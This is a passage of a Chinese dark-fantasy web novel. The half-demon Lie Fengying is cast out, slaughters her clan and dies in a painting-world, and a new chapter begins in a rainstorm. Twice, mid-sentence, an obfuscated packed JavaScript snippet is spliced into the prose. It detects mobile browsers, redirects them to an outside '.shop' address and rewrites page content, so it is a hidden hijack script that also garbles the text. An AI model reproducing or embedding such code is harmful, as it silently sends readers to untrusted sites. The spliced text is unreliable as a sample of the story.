她的母亲,她的哥哥烈风炽,还有……一个穿着青衫、面容温润的中年男子。 母亲看见她,愣了一下,随即快步走过来,扶起她:“荧儿!你没事吧?!” 烈风荧抓住母亲的手,眼泪哗啦啦往下掉:“娘……玉佩……玉佩丢了……” 母亲脸色一变。 但她还没说话,那个青衫男子已经走了过来。他蹲下身,仔细看了看烈风荧的脸,又看了看她身上的伤,然后摇摇头,对母亲说:“夫人,令千金身上煞气缠身,怕是……被煞气之潮污染了。” “什么?!”母亲惊呼。 烈风炽也走过来,眉头紧锁:“先生确定?” 青衫男子点头,语气笃定:“煞气入体,初时无症状,但会慢慢侵蚀神智,最终变成只知杀戮的怪物。而且……会传染。” 最后三个字,像三把冰锥,刺进烈风荧心里。 她看见母亲的眼神变了。 从担忧,变成惊恐,再变成……一种深沉的、近乎绝望的挣扎。 “娘……”烈风荧颤抖着开口,“我没有……我没有被污染……我只是摔伤了……” 母亲没有回答。 她只是看着女儿,看了很久很久。然后,她缓缓松开扶着烈风荧的手,后退了一步。 两步。 三步。 “荧儿,”母亲开口,声音嘶哑,“你……你走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109790|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈风荧呆住了。 她以为自己听错了。 “娘……你说什么?” “你走吧。”母亲重复,眼泪掉下来,却异常坚决,“离开我们,越远越好。不要……不要回来找我们。” 烈风炽也低下头,拳头攥得死紧,却一言不发。 那个青衫男子叹了口气,从怀里掏出一个小布袋,放在烈风荧脚边:“这里面有些干粮和伤药。小姑娘,好自为之。” 说完,他转身,对母亲和烈风炽说:“夫人,公子,我们该走了。煞气之潮很快就会蔓延到这里。” 母亲最后看了烈风荧一眼,那眼神里有悲痛,有不舍,但更多的是一种决绝的、近乎残忍的“为了大局”。 然后,她转身,拉着烈风炽,跟着青衫男子,头也不回地走了。 烈风荧瘫坐在地上,呆呆地看着他们远去的背影,看着他们消失在密林深处,看着空荡荡的山谷里只剩下她一个人,和满地的尸体。 她没有哭。 只是觉得冷。 从骨头缝里渗出来的、彻骨的冷。 不知过了多久,她捡起那个布袋,拖着断腿,一瘸一拐地,朝着与母亲相反的方向走去。 她不知道自己要去哪。 也不知道自己能活多久。 只是机械地走,走,走。 直到她遇见了一条狗。 那是一条黑色的母犬,瘦得皮包骨头,毛色暗淡无光,左后腿断了,只能用三条腿蹦跳着走路。它看见烈风荧,没有叫,只是远远地跟着,眼神警惕又好奇。 烈风荧掰了块干粮扔给它。 黑犬犹豫了一下,凑过来,小心翼翼地嗅了嗅,然后叼起干粮,跑到远处狼吞虎咽地吃了。吃完,它又跑回来,继续跟着烈风荧。 一人一狗,就这样结伴而行。 烈风荧给它起名叫“小黑”。她把自己的干粮分给它,给它包扎断腿。小黑很通人性,会帮她找野果,会在夜里守着她睡觉,会在她疼得走不动路时,用温热的舌头舔她的手。 她们相依为命,在山林里流浪了半年。 直到那天,她们误入了一个猎户的陷阱。 那猎户不是善类。他看见烈风荧——虽然衣衫褴褛,但依稀能看出是个容貌清秀的少女,眼中露出淫邪的光。又看见小黑——虽然瘦,但骨架匀称,是条好狗,能卖钱。 他举起了刀。 烈风荧拼命反抗,但她重伤未愈,根本不是猎户的对手。小黑扑上去咬猎户,被一刀砍在背上,鲜血喷溅。 “畜生!”猎户狞笑,又一刀砍向小黑的脖子。 烈风荧不知道哪来的力气,扑过去,用身体挡住了那一刀。 刀锋砍在她的右脸上,从眼角一直划到下颌。剧痛让她眼前一黑,但她死死抱住小黑,不肯松手。 猎户怒了,抬脚狠狠踹她:“松手!贱人!” 一脚,两脚,三脚…… 肋骨断裂的声音清晰可闻。烈风荧喷出一口血,却还是抱着小黑,咬着牙,不哭,不叫。 猎户终于失去了耐心。他举起刀,对准她的脖颈—— 就在这时,小黑忽然发出一声凄厉的、不似狗叫的尖啸! 紧接着,它身上爆发出强烈的黑光! 那黑光不是煞气,而是一种更古老、更纯粹的妖气。光芒中,小黑的身体开始膨胀、变形,皮毛褪去,骨骼重组—— 等黑光散尽时,原地已经没有了黑狗。 只有一个……半人半妖的怪物。 它有着人类的躯干和四肢,但浑身覆盖着黑色的短毛,手脚还是犬类的爪子,脸上保留着犬类的特征——鼻子突出,牙齿尖利,耳朵竖在头顶。只有那双眼睛,依旧是烈风荧熟悉的小黑的眼睛,温顺,忠诚,此刻却充满了暴怒和杀意。 它——或者说她——扑向猎户。 利爪撕开皮肉,尖牙咬断喉咙。 猎户甚至没来得及惨叫,就变成了一堆碎肉。 妖化的黑犬转身,看向倒在血泊里的烈风荧。她走过来,伸出还带着毛的爪子,轻轻碰了碰烈风荧的脸。 然后,她做出了一个让烈风荧终生难忘的举动—— 她低下头,将自己额头贴在了烈风荧额头上。 一股温热而强大的力量,顺着额头涌入烈风荧体内。那是妖力,是黑犬修炼百年才凝聚的、最纯粹的本源之力。 妖力修复着烈风荧的伤势,也……改造着她的身体。 断骨接续,伤口愈合,脸上的刀疤也渐渐平复。但与此同时,她的右眼视力开始模糊,右半边脸上,开始浮现出黑色的、类似犬类毛发的纹路。 还有她的后背——肩胛骨下方,有什么东西在皮肤下蠕动、生长,最后刺破皮肉,钻了出来。 是一对……残缺的、只有骨架和一层薄皮的、犬类的耳朵。 她变成了半妖。 不人不狗,非人非妖。 而黑犬在渡给她大半妖力后,身体迅速萎缩、衰老,最后化为一捧黑色的灰烬,随风飘散。 临消散前,她用最后一点力气,用爪子在地上划了几个字: 替我活下去。 烈风荧抱着那捧灰烬,跪在血泊里,哭了整整一夜。 天亮时,她擦干眼泪,将那捧灰烬小心收进一个布袋里,挂在脖子上。 然后,她站起来,看着水中倒映的自己——右脸布满黑色纹路,后背长出残缺的狗耳,右眼视力只剩下一半。 但她还活着。 以这种不人不鬼的形态,活着。 她给自己起了个新名字:荧惑。 取“荧荧火光,惑乱人心”之意。 既然这世道容不下她,那她就做个惑乱人心的妖孽好了。 记忆的画面,到此戛然而止。 烈风荧——或者说荧惑——缓缓转过身,看着早已泪流满面的烈风煌,声音平静得可怕: “后来,我遇见了守渊者。” “他看见我的样子,没有害怕,没有嫌弃,只是叹了口气,说:‘跟我走吧,我带你去一个没有秘密、没有欺骗的地方。’” “那个地方,就是这里——” 她抬起手,指向这片荒芜的山脚,指向那些散落的狗骨,指向远处那座冒着烟的黑山。 “风息圆。” “一个……曾经号称能让人‘读懂彼此真心’的,天堂。” 26. 画中仙非画中人(四) 烈风荧的声音在荒芜的山脚回荡,像风穿过枯骨的缝隙,带着某种碎裂的、再也拼不回去的质感。 “风息圆……” 她重复着这个名字,眼神飘向远处那座冒着烟的黑山。暮色渐浓,山顶的烟柱在暗下来的天光中变成了深紫色,像一道永远无法愈合的伤疤。 “一开始,这里不是这样的。”她轻声说,仿佛在自言自语,“一开始……这里很美。” 记忆继续流淌。 那是烈风荧遇见守渊者的第三个月。 彼时她已彻底变成了半妖之身——右脸布满黑色纹路,后背那对残缺的狗耳怎么也收不回去,只能用宽大的斗篷遮着。右眼的视力越来越差,看东西总是模模糊糊,像隔着一层毛玻璃。 她跟着守渊者翻山越岭,一路上不敢见人,只在荒野中行走。守渊者话不多,但对她极有耐心。她走不动时,他会停下来等她;她做噩梦惊醒时,他会坐在不远处,轻声哼唱一支古老的、不知名的曲子。 那曲子很温柔,像母亲哄孩子入睡的歌谣。 烈风荧常常听着听着,就哭了。 但她从不问守渊者为什么帮她。有些恩情,问出口就轻了。 直到那天,他们翻过一座陡峭的山脊,眼前豁然开朗。 那是一个巨大的、碗状的山谷。谷底平坦开阔,一条清澈的溪流蜿蜒而过,两岸是整齐的农田和金黄的稻浪。田埂上,农人赶着牛缓缓行走;村舍间,孩童追逐嬉戏,炊烟袅袅升起。 而在山谷中央,有一座小小的、白墙黑瓦的村落。 村口立着一块石碑,上面刻着三个字: 风息圆。 字迹工整圆润,像用毛笔一笔一画认真写出来的。 守渊者站在山脊上,望着那片宁静的村落,脸上露出一丝罕见的、近乎怀念的神色。 “这里,”他说,“是一个没有秘密的地方。” 烈风荧不解:“没有秘密?” 守渊者点头,指了指自己的心口:“在这里,每个人都能‘听见’别人心中最真实的想法。不是读心术,而是一种……天然的共鸣。你想什么,别人都能感受到;别人想什么,你也能明白。所以,这里没有谎言,没有欺骗,也没有猜忌。” 烈风荧愣住了。 她能想象那样的世界吗?每个人赤诚相见,心思透明得像清水? “那……那不是很可怕吗?”她喃喃,“如果别人知道你所有的想法……” “起初是的。”守渊者微笑,“但习惯了,就会觉得轻松。不用揣测,不用防备,喜欢就是喜欢,讨厌就是讨厌。人与人之间的相处,简单得像呼吸。” 他顿了顿,看向烈风荧:“你想进去看看吗?” 烈风荧下意识后退一步,手捂住了斗篷下隆起的后背:“我……我这个样子……” “在这里,外貌不重要。”守渊者声音温和,“重要的是心。如果你的心是干净的,他们就会接纳你。” 烈风荧咬着嘴唇,犹豫了很久,最终点了点头。 他们走下陡坡,来到村口。 最先迎出来的,是个须发皆白的老者。他穿着朴素的葛布长衫,拄着拐杖,笑容慈祥得像庙里的弥勒佛。他看见守渊者,眼睛一亮,快步上前,深深鞠了一躬:“神主大人,您回来了。” 神主。 烈风荧诧异地看向守渊者。后者只是微微颔首,没有解释。 老者又看向烈风荧,眼神在她脸上的黑色纹路和隆起的斗篷上停留片刻,却没有露出任何惊讶或厌恶的神色,反而温和地笑了:“这位姑娘是?” “她叫荧惑。”守渊者说,“我的朋友。” 朋友。 两个字,让烈风荧鼻子一酸。 她已经多久……没被人这样称呼过了? 老者点点头,侧身让开:“欢迎来到风息圆。我是这里的村长,姓陈。姑娘远道而来,辛苦了,快请进村歇息。” 他的态度如此自然,仿佛烈风荧只是脸上沾了点灰,而不是半张脸爬满诡异的黑色纹路。 接下来的日子,就像一场梦。 风息圆的村民真的如守渊者所说,心思透明,毫无隐瞒。他们看见烈风荧的模样,会好奇,会询问,但从不指指点点。有个叫小莲的小姑娘甚至拉着她的手,认真地说:“荧惑姐姐,你脸上的花纹真好看,像夜空里的星星。” 烈风荧住进了村长家隔壁的一间空屋。村民们送来干净的被褥,新鲜的果蔬,还有手工缝制的衣裳——特意在背后做了加宽的设计,好遮住那对狗耳。 守渊者成了村子的“神主”。村民侍奉他,尊敬他,但更多是像对待一位德高望重的长辈。他们向他请教农事,请他调解纠纷,也……恳求他带他们走出风息圆。 “神主大人,”村长曾私下对守渊者说,“我们世世代代住在这里,虽然安宁,但也像井底之蛙。外面的世界是什么样子?有没有更大的天地?我们……想出去看看。” 守渊者沉默良久,最后说:“再等等。等时机成熟。” 烈风荧不知道他在等什么。 但她很喜欢这里。 每天清晨,她帮村里的阿婆喂鸡;午后,她教孩子们识字;傍晚,她坐在溪边,看着夕阳把稻田染成金色,听着村民们收工回家的说笑声。 没有歧视,没有猜忌,没有“你应该怎样”“你不该怎样”。 她甚至……渐渐忘了自己是个半妖。 直到那天。 那是个寻常的午后。 烈风荧正在溪边洗衣——她现在已经能很自然地挽起袖子,露出小臂上淡淡的黑色纹路,而不在意旁人的目光。小莲蹲在她旁边,叽叽喳喳说着村里新孵出的小鸭子。 就在这时,村口传来马蹄声。 不是一匹,是至少五六匹。马蹄踏在青石路上,声音清脆而急促,打破了风息圆一贯的宁静。 村民们纷纷从屋里探出头。 烈风荧也抬头望去。 然后,她浑身的血,瞬间凉了。 来的是一队穿着深青色劲装、腰佩长刀的人。为首的是个四十出头的中年汉子,面容冷硬,眼神锐利如鹰。他骑在马上,目光在村子里扫过,最后,定格在溪边的烈风荧身上。 那一瞬间,烈风荧清楚地看见,他眼中闪过一丝震惊,随即是毫不掩饰的厌恶和……杀意。 她认识这个人。 烈风炽的堂叔,烈家执法堂的长老,烈风枭。 一个以铁面无情著称的、连亲侄子犯错都会亲手执行家法的男人。 烈风枭翻身下马,大步走到溪边。他身后的五名烈家子弟也跟了上来,手按刀柄,眼神不善。 “烈风荧。”烈风枭开口,声音冰冷,“果然是你。” 烈风荧缓缓站起身,手在身侧攥紧。小莲吓得躲到她身后,小手紧紧抓着她的衣摆。 “枭长老。”她声音干涩,“您……怎么找到这里的?” “找你?”烈风枭冷笑,“你以为你逃得掉?背叛修罗道,堕为妖物,还杀了追捕你的烈家子弟——烈风荧,你好大的胆子!” 这话一出,周围的村民哗然。 “妖物?” “杀了人?” “这……这是真的吗?” 窃窃私语声像蜂群般嗡嗡响起。烈风荧看见,那些曾经对她友善的村民,此刻眼神里多了怀疑、警惕,甚至……恐惧。 “我没有杀人!”烈风荧急道,“那些追捕我的人,是被煞气之潮——” “闭嘴!”烈风枭厉声打断,“事实如何,自有家法论断。现在,跟我回烈家领罚。” 他身后一名年轻子弟上前一步,伸手就要抓烈风荧的胳膊。 “不要!”小莲突然冲出来,张开双臂挡在烈风荧面前,小脸涨得通红,“你们不许欺负荧惑姐姐!” 那年轻子弟愣了一下,随即皱眉:“小丫头,让开。” “不让!”小莲倔强地仰着头,“荧惑姐姐是好人!她教我们识字,帮阿婆干活,还给受伤的小鸟包扎——她不是坏人!” 烈风枭眼神一冷:“无知小儿,滚开。” 他抬手,随意一挥。 一股劲风扫过,小莲小小的身子像断线的风筝般飞出去,“砰”地撞在旁边的石头上,额头瞬间血流如注。 “小莲——!”烈风荧目眦欲裂。 她冲过去抱起小莲。小姑娘已经昏过去了,额头的伤口汩汩冒血,染红了烈风荧的衣襟。 “你……你杀了她……”烈风荧抬头,眼睛赤红地盯着烈风枭。 烈风枭却毫不在意:“自己找死,怨不得人。烈风荧,最后说一遍,跟我走。” 就在这时,一个妇人尖叫着从人群里冲出来:“小莲!我的小莲——!” 是小莲的母亲,李婶。 她扑到女儿身边,看着女儿满脸的血,整个人都疯了。她转身,抓住烈风枭的衣襟,哭喊着:“你杀了我女儿!你赔我女儿!” 烈风枭不耐烦地甩开她:“滚!” 李婶摔倒在地,却爬起来,又扑上去,又抓又挠:“杀人凶手!你们这些外来人,凭什么在我们风息圆撒野!凭什么杀我女儿!” 周围的村民也愤怒了。 他们或许对烈风荧有疑虑,但小莲是他们看着长大的孩子,李婶是村里最和善的妇人。如今孩子生死不明,母亲悲痛欲绝,而凶手还一副高高在上的模样—— “滚出去!” “风息圆不欢迎你们!” “杀人偿命!” 村民们围了上来,手里拿着锄头、扁担,眼神愤怒。 烈风枭脸色阴沉下来。他扫视着围上来的村民,嘴角勾起一丝残酷的弧度:“一群蝼蚁,也敢拦我?” 他拔刀。 刀光一闪。 李婶的哭喊声戛然而止。 她呆呆地低下头,看见自己胸口绽开一朵血花。然后,她缓缓倒下,眼睛还睁着,望着小莲的方向。 死了。 一刀毙命。 整个风息圆,死一般寂静。 所有人都愣住了,包括烈风枭带来的那些子弟——他们也没想到,长老会这么干脆地杀人。 烈风荧抱着小莲,看着李婶的尸体,看着周围村民震惊而恐惧的脸,看着烈风枭那张冰冷无情的脸。 她的世界,在那一瞬间,彻底崩塌了。 “啊——————!!!!” 一声凄厉到不似人声的尖啸,从她喉咙里迸发出来。 她放下小莲,缓缓站起。身上的斗篷滑落,露出背后那对残缺的狗耳。右脸的黑色纹路开始发亮,像有黑色的火焰在皮肤下燃烧。右眼彻底变成血红,左眼却依旧清澈——两种极端的情绪在那双眼睛里疯狂交织:悲痛,愤怒,绝望,还有……滔天的杀意。 “烈、风、枭。”她一字一顿,声音嘶哑得像地狱里爬出来的恶鬼,“我要你——偿命!” 她扑了上去。 不是用武功,不是用妖术,就是最原始的、野兽般的扑杀。利爪伸出——那是半妖化后长出的、尖利的指甲,狠狠抓向烈风枭的面门。 烈风枭举刀格挡。 “铛!” 金属撞击声刺耳。烈风荧的指甲竟硬如钢铁,在刀身上划出一串火花。 “妖孽!”烈风枭怒喝,刀势一变,斩向她的脖颈。 就在这时,一道金光闪过。 守渊者出现了。 他不知何时来到场中,一手抓住烈风枭的刀,一手按住烈风荧的肩膀。那双总是温和的金瞳里,此刻满是凝重和……痛苦。 “住手。”他说,声音不大,却清晰地传到每个人耳中,“荧惑,你不能杀他。” 烈风荧挣扎,眼睛赤红:“他杀了小莲!杀了李婶!他该死!” “我知道。”守渊者声音低沉,“但如果你杀了他,就再也洗不清‘背叛烈家、残杀同族’的罪名了。你的余生,将永远活在追杀和污名中。” “我不在乎!”烈风荧嘶吼,“我已经什么都没有了!还在乎什么罪名?!” “我在乎。”守渊者看着她,眼神里有她看不懂的、深沉的悲悯,“荧惑,你还有未来。不要……被仇恨毁掉。” 烈风荧愣住了。 未来? 她还有未来吗? 就在她愣神的瞬间,烈风枭忽然暴起,挣脱守渊者的钳制,一刀刺向烈风荧的心口! 这一刀又快又狠,是修罗刀法中的杀招“绝命斩”。 守渊者想拦,已经来不及。 烈风荧也没躲。 她只是看着那刀尖刺来,眼中一片死寂的平静。 然后,她抬起手,不是挡,而是迎向刀锋。 “噗嗤。” 刀锋刺穿手掌,鲜血喷溅。 但她仿佛感觉不到痛,只是死死抓住刀身,不让烈风枭抽回。然后,她另一只手抬起,五指成爪,狠狠掏向烈风枭的心窝! “你——”烈风枭瞪大眼睛,想退,刀却被死死攥住。 利爪刺入皮肉,抓碎肋骨,握住了那颗还在跳动的心脏。 烈风荧看着他,嘴角扯出一个狰狞的、像哭又像笑的弧度: “一起……下地狱吧。” 五指收紧。 “噗!” 心脏爆裂。 烈风枭脸上的表情凝固了。他低头,看看自己胸口的血洞,又看看烈风荧,嘴唇嚅动,似乎想说什么,却只吐出一口血沫。 然后,他重重倒地。 死了。 风息圆的村民们,彻底吓傻了。 一日之内,三条人命。 小莲,李婶,还有这个外来者。 而凶手……是他们曾经接纳、甚至喜爱的荧惑。 “妖……妖怪……” “杀人了……她杀人了……” “快跑!她会把我们都杀了的!” 村民们惊恐地四散奔逃,看烈风荧的眼神,就像看一个从地狱里爬出来的恶鬼。 守渊者站在原地,看着满手鲜血、眼神空洞的烈风荧,长长地、长长地叹了口气。 他知道,有些路,一旦踏上,就再也回不了头了。 烈风枭的尸体被烈家子弟带回去了。 一同带回去的,还有烈风荧“残杀同族长老”的罪名。 几天后,又一队烈家人来到风息圆。 这次来的是烈风枭的亲弟弟,烈风鹰。和他一起来的,还有烈风荧的堂妹,烈风鸾——一个比她小三岁、从小跟在她屁股后面喊“荧姐姐”的小姑娘。 烈风鹰看见烈风荧,没有立刻发难,反而态度恭敬:“荧小姐,族长听说您在风息圆,特命我等前来接您回族。” 烈风荧愣住了。 接她回族? 不是来抓她问罪的? 烈风鸾也跑过来,拉住她的手,眼睛红红的:“荧姐姐,这些年你受苦了……跟我们回去吧,大伯和伯母都很想你……” 烈风荧看着堂妹真诚的眼神,再看看烈风鹰恭敬的姿态,心中那根紧绷的弦,忽然松了一点点。 也许……也许烈家并不知道风息圆发生的事? 也许……她还有机会回家? 她犹豫了。 守渊者站在一旁,眉头紧锁,但最终没说什么。 烈风荧最终还是跟烈家人走了。临走前,她回头看了一眼风息圆——那个曾经给过她短暂安宁的地方,如今在她眼中,只剩一片血色。 她不知道的是,她刚离开,风息圆的村民们就聚在一起,做出了一个决定: 封村。 从此,风息圆再不接纳任何外来者。 也再不……相信任何人。 烈家山庄已经重建了。 虽然不如原来的烈风山庄恢弘,但也算气派。烈风荧被安排住进一间精致的厢房,有丫鬟伺候,有新衣可穿,连她脸上的黑色纹路和背后的狗耳,族人们也视若无睹,只说她“修行特殊功法所致”。 烈风荧起初惴惴不安,但日子一天天过去,烈家上下对她确实恭敬有加。族长——她的伯父烈风啸甚至亲自来看她,说她“流落在外多年,如今归来,是烈家之幸”。 烈风荧渐渐放松了警惕。 她开始教族中子弟一些简单的术法——那是守渊者教她的,融合了妖力和人族修炼法门的独特技巧。族人们学得认真,对她越发尊敬。 直到那天。 烈风鸾哭着冲进祠堂,手里捧着一块染血的玉佩——是烈风枭的随身之物,在风息圆被烈风荧杀死时掉落的,上面还沾着干涸的血迹。 “是她!”烈风鸾指着烈风荧,声音嘶哑,“是她杀了枭叔叔!我找到了枭叔叔的尸体……心口被掏空了……就是这个妖女干的!” 祠堂里瞬间死寂。 所有烈家人的脸色都变了。 烈风啸缓缓站起身,盯着烈风荧,眼神从慈祥变为冰冷,再变为……滔天的怒火。 “烈风荧,”他开口,声音像淬了冰的刀子,“风鸾说的,可是真的?” 烈风荧张了张嘴,想解释,想说烈风枭杀了小莲和李婶,想说他先动手要杀她—— 但她说不出口。 因为她看见,周围那些曾经对她恭敬有加、谄媚讨好的族人,此刻看她的眼神,就像看一堆肮脏的垃圾。 “果然……妖就是妖。” “装得再像人,骨子里还是嗜血的畜生。” “残杀同族,罪无可赦!” 指责声像潮水般涌来。 烈风荧终于明白了。 烈家接纳她,不是因为亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109791|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,不是因为她还是“烈风荧”。 是因为她有用。 因为她会那些独特的术法,因为她半妖之身带来的力量。 而现在,她没用了——或者说,她的“价值”已经抵不过她带来的“麻烦”了。 所以,他们翻脸了。 翻得如此干脆,如此彻底。 “废去四肢,挂在山门旗杆上。”烈风啸冷冷下令,“让所有人都看看,背叛烈家、残杀同族的下场!” 四名执法堂弟子上前,按住烈风荧。 她挣扎,嘶吼,妖力爆发,震飞了两人。但更多的族人围上来,刀剑加身。 就在一把刀要砍断她右手时—— 金光再次闪现。 守渊者来了。 他一身白衣,站在祠堂门口,金瞳扫过众人,最后落在烈风啸脸上。 “放了她。”他说,声音平静,却带着某种不容抗拒的威压。 烈风啸脸色一变:“神主大人,这是烈家家事,您——” “我说,放了她。”守渊者重复,向前一步。 整个祠堂的空气骤然沉重,像有看不见的山压下来。烈家子弟们呼吸困难,连烈风啸也额角冒汗。 守渊者走到烈风荧身边,解开她身上的绳索,将她扶起。 “我们走。”他轻声说。 烈风荧看着他,眼泪终于掉下来。 她以为,这次终于有人站在她这边了。 可她错了。 守渊者带着烈风荧离开烈家,在一处偏僻的山洞养伤。 那天夜里,烈风荧趁守渊者外出采药,偷偷回到了烈家山庄。 她没有惊动任何人,只是站在山庄最高的望楼上,看着下面熟睡的族人。 那些曾经对她笑,对她好,转身却又将她推入深渊的族人。 她笑了。 然后,她抬起手,指尖燃起黑色的火焰。 那是妖火,也是心火。 以仇恨为柴,以绝望为油,燃烧出的、永不熄灭的火焰。 火焰落入山庄。 一座,两座,三座…… 火势迅速蔓延,吞没了屋舍,吞没了粮仓,吞没了……还在睡梦中的人。 惨叫声,哭喊声,房屋倒塌声。 烈风荧站在望楼上,看着这片人间地狱,眼神空洞得像两个窟窿。 直到烈风鸾从火海里冲出来,满脸焦黑,嘶声哭喊:“荧姐姐!为什么!为什么要这样——!” 烈风荧看着她,看了很久。 然后,她轻声说:“因为……你们先不要我的。” 她抬手,一道黑火射向烈风鸾。 小姑娘甚至连惨叫都没发出,就化为一捧灰烬。 天亮了。 火也熄了。 整个烈家山庄,变成一片焦黑的废墟。废墟里,是几百具烧得面目全非的尸体。 烈风荧站在废墟中央,浑身是血,有别人的,也有自己的。 她抬头,看着初升的太阳。 阳光很暖,照在身上,却感觉不到温度。 她抬起手,看着掌心的黑色火焰。 然后,她将火焰,按向自己的心口。 想死。 想结束这一切。 可就在火焰触及皮肤的瞬间—— 整个天地,忽然扭曲了。 像一幅被撕碎的水墨画,景象开始崩解、重组。焦黑的废墟消失,烈家的尸体消失,连她脚下的土地也消失了。 取而代之的,是一个全新的、却又无比熟悉的空间。 红花漫山,溪流清澈,小鹿穿梭,锦鲤跃水。 风息圆。 不,不是真正的风息圆。 是画中仙。 是她内心最深处的执念和罪孽,凝聚成的、永远也逃不出去的牢笼。 她被困在这里了。 一日,一年,十年,百年…… 时间在这里失去了意义。外界只过了十几年,她却在画中枯坐了几百年。 饥饿,孤独,懊悔,日夜折磨着她。 她试过自杀,可在这画中仙里,连死都成了奢望——每次濒死,就会被强行拉回,继续忍受永恒的孤寂。 直到今天。 直到她听见了熟悉的脚步声。 直到她看见那个穿着深青色劲装、腰佩修罗刀、眼神冷硬却依稀能看出小时候轮廓的少女。 她的妹妹。 烈风煌。 记忆的画面,彻底消散。 荒芜的山脚,死一般寂静。 烈风荧——荧惑——看着泪流满面的烈风煌,缓缓抬起手,想碰碰她的脸,却在半途停下。 “小煌,”她轻声说,“对不起……姐姐……让你看见这么难看的样子。” 烈风煌摇头,眼泪大颗大颗往下掉。她想说话,却发不出声音,只能死死抓住烈风荧的手,抓得很紧,像怕她再次消失。 九如站在一旁,心中翻江倒海。 他终于明白,为什么烈风荧一听见“无名火山”就消失。 因为那里……就是风息圆。 就是守渊者一怒之下,震裂火山,让整个风息圆覆灭的地方。 也是……烈风荧内心罪孽的源头。 就在这时,烈风荧忽然笑了。 她挣脱烈风煌的手,后退几步,站在那片狗骨中央。然后,她转身,看向九如腰间的承影剑。 “守渊者大人……”她轻声说,“您……终于来了。” 九如一怔。 烈风荧却不再看他,而是望向远处那座冒着烟的黑山。眼神里,有种终于解脱的平静。 “小煌,”她说,“姐姐……该走了。” 话音未落,她忽然纵身一跃,扑向烈风煌手中的修罗刀! “不要——!”烈风煌嘶声尖叫。 但已经晚了。 刀锋刺入心口,鲜血喷溅。 烈风荧倒在妹妹怀里,嘴角却带着笑。她伸手,最后一次摸了摸烈风煌的脸。 “别哭……”她轻声说,“姐姐……终于可以……睡个好觉了……” 眼睛,缓缓闭上。 身体开始消散,化作无数细碎的光点,像夏夜的萤火,在暮色中飘飘荡荡,最终彻底消失。 而就在她消失的瞬间—— 整个画中仙,开始剧烈震动! 红花枯萎,溪流干涸,小鹿化为枯骨,锦鲤变成腐肉。 景象像打碎的镜子,一片片剥落、崩塌。 然后,一座云烟缭绕的仙山,从破碎的景象中缓缓浮现。 山很高,很陡,山顶笼罩在浓稠的云雾中,看不真切。但隐约能看见,山体上布满了纵横交错的裂痕,像一张哭泣的脸。 紧接着,天空开始下“雨”。 不是水。 是血。 粘稠的、暗红色的血,从云层里倾盆而下,浇在那座仙山上。血水所过之处,山石融化,草木燃烧,整座山开始剧烈震动、喷发—— 变成了火山。 一座沸腾的、燃烧的、哀嚎着的火山。 而在火山口,隐约能看见无数人影攒动。他们举着一个人——看不清面目,只看见那人挣扎着,哭喊着,被高高举起,然后…… 投入了翻滚的岩浆中。 “不——!!!” 一声凄厉到极致的惨叫,从火山深处传来。 紧接着,地动山摇。 火山喷发了。 岩浆如瀑布般倾泻而下,吞没了山脚下的村庄,吞没了农田,吞没了所有活物。 哭喊声,惨叫声,房屋倒塌声…… 最终,一切归于死寂。 火山熄灭了。 变成了一座光秃秃的、死气沉沉的黑色山峰。 山顶还冒着淡淡的烟,像最后的叹息。 那,就是无名火山。 守渊者葬身之地。 也是……风息圆覆灭的真相。 画中仙彻底破碎。 众人重新站在了青石山的山脚下——那个寸草不生、只有青色石头的地方。 烈风煌跪在地上,怀里空荡荡的,只有一滩渐渐干涸的血迹。 她低着头,肩膀剧烈颤抖,却发不出一点声音。 只有眼泪,无声地流。 九如望着远处那座黑山,握紧了承影剑。 剑身在鞘中剧烈震动,发出悲鸣般的嗡响。 像在哭泣。 为那个曾经悲悯众生、最终却因愤怒而毁灭一方的守渊者。 也为那个一生坎坷、最终选择死在妹妹刀下的半妖女子。 更为了这世间,所有无处安放的痛苦和罪孽。 风,还在吹。 青石山上,依旧寸草不生。 27. 弯月棺葬横死相(一) 暴雨来得毫无征兆。 前一刻还是烈日当空,万里无云,晒得青石山光秃秃的石头泛着刺眼的白光。下一刻,天边骤然涌起铅灰色的云层,像被打翻的墨汁,迅速蔓延开来,遮蔽了整个天空。云层压得很低,低得仿佛伸手就能触及,边缘翻滚着不祥的紫黑色。 然后是风。 起初只是微风,拂动芒种额前的碎发。但转眼间就变成了狂暴的飓风,卷起地上的砂石,打得人脸生疼。枯树在风中疯狂摇摆,发出“呜呜”的哀鸣,像无数冤魂在哭嚎。 最后才是雨。 不是淅淅沥沥的小雨,而是倾盆的、劈头盖脸的暴雨。雨点有铜钱大小,砸在地上“啪啪”作响,溅起浑浊的水花。天地间很快拉起一道厚重的雨幕,能见度不足十丈,远处的青石山和更远处的无名火山,都消失在白茫茫的水汽里。 “快找地方躲雨!”九如高喊,声音在暴雨中显得微弱。 四人原本站在青石山脚——画中仙破碎后,他们回到了现实世界,但心绪还未从风息圆的悲剧中平复。尤其是烈风煌,自姐姐烈风荧消散后,她就一直跪在原地,一动不动,像一尊被雨水冲刷的石像。 暴雨袭来时,白砚最先反应过来。他环顾四周,指向不远处一片茂密的灌木丛——那里生长着一种叶片巨大的植物,叶子呈伞状,直径足有四五尺,层层叠叠,像天然的凉棚。 “那边!” 